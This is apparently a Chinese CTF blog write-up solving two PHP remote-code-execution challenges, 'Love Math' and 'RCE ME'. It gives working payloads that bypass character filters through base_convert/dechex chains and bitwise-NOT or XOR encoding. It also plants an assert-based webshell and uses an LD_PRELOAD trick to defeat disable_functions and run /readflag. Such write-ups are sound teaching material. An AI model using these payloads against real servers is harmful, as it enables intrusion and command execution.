buu做题(12)

[CISCN 2019 初赛]Love Math

php 复制代码
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

首先, 限制了传入的参数的长度 小于80

然后是有一个黑名单, [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']

不允许出现这些字符

最后就是一个白名单, 必须要出现那些函数

php可以通过变量动态调用函数

php 复制代码
$a='system';
echo $a(whoami);

在限定了字符数的情况下可以通过$_GET[] 逃过字符的限制

?c=$_GET[a]&a=

在这里就是 ?c=($_GET{pi})($_GET{abs})&pi=system&abs=cat /flag

所以还需要构造出_GET
hex2bin 可以将16进制转换成字符串

又需要构造出 hex2bin

36进制存在数字和小写字母

在线网站: https://tool.lu/hexconvert/

base_convert()函数能够在任意进制之间转换数字
base_convert(37907361743,10,36) --> 可以得到 hex2bin

然后就是要得到_GET的十六进制

在线网站: https://www.bejson.com/convert/ox2str/

hex2bin('5f474554') -->_GET

但是数字加上字母又会到那个白名单的检测中去, 无法通过, 需要是纯数字
dechex()函数将10进制数转换为16进制
dechex(1598506324) --> 5f474554

所以就是
_GET --> hex2bin(dechex(1598506324)) ---> base_convert(37907361743,10,36)(dechex(1598506324))

payload:
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

[极客大挑战 2019]RCE ME

php 复制代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

字母数字都被禁用了, 可以通过取反绕过

脚本运行即可

php 复制代码
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

直接运行即可

system没反应, 好吧, 不可能这么简单

尝试一下 phpinfo()

?code=(~%8F%97%8F%96%91%99%90)();
过滤了很多的函数

使用assert 函数, 构造一句话木马

payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6);

可以成功执行, 然后连接蚁剑

连接蚁剑, 可以看到有flag, 但是点进去是空白的

利用工具: (也可以使用蚁剑里面的插件)
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

在/var/tmp目录 有上传权限,可以上传bypass_disablefun_x64.so和bypass_disablefunc.php

https://www.cnblogs.com/yunqian2017/p/13308599.html

最后的payload是

(直接拿的别人的payload,使用的异或)
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

相关推荐
OEC小胖胖16 小时前
CSS中隐藏滚动条的同时保留滚动功能
前端·css·web·网页开发
牧码岛1 天前
物联网之ESP32与微信小程序实现指示灯、转向灯
前端·嵌入式硬件·物联网·微信小程序·web·web前端
ChinaRainbowSea2 天前
十四,在Spring Boot当中对应“ Tomcat 服务器的相关配置”和“服务器的切换”的详细说明
java·spring boot·spring·tomcat·web
LLINELL2 天前
2024秋季云曦开学考
web·misc·rce
wuming先生2 天前
关于axios同步获取数据的问题
axios·web·异步网络
ChinaRainbowSea2 天前
十一,Spring Boot 当中配置拦截器的“两”种方式
java·spring boot·后端·spring·web
ChinaRainbowSea2 天前
十二,Spring Boot 异常处理(自定义异常页面,全局异常,自定义异常)
java·spring boot·后端·spring·web
技术无疆2 天前
跨平台开发新视角:利用Android WebView实现Web内容的原生体验
android·java·前端·ios·react·web·webview
一条晒干的咸魚3 天前
CSS基本布局理解(测试)——WEB开发系列38
前端·css·css3·web·float浮动
B.-4 天前
Remix 学习 - 路由模块(Route Module)
前端·javascript·学习·react·web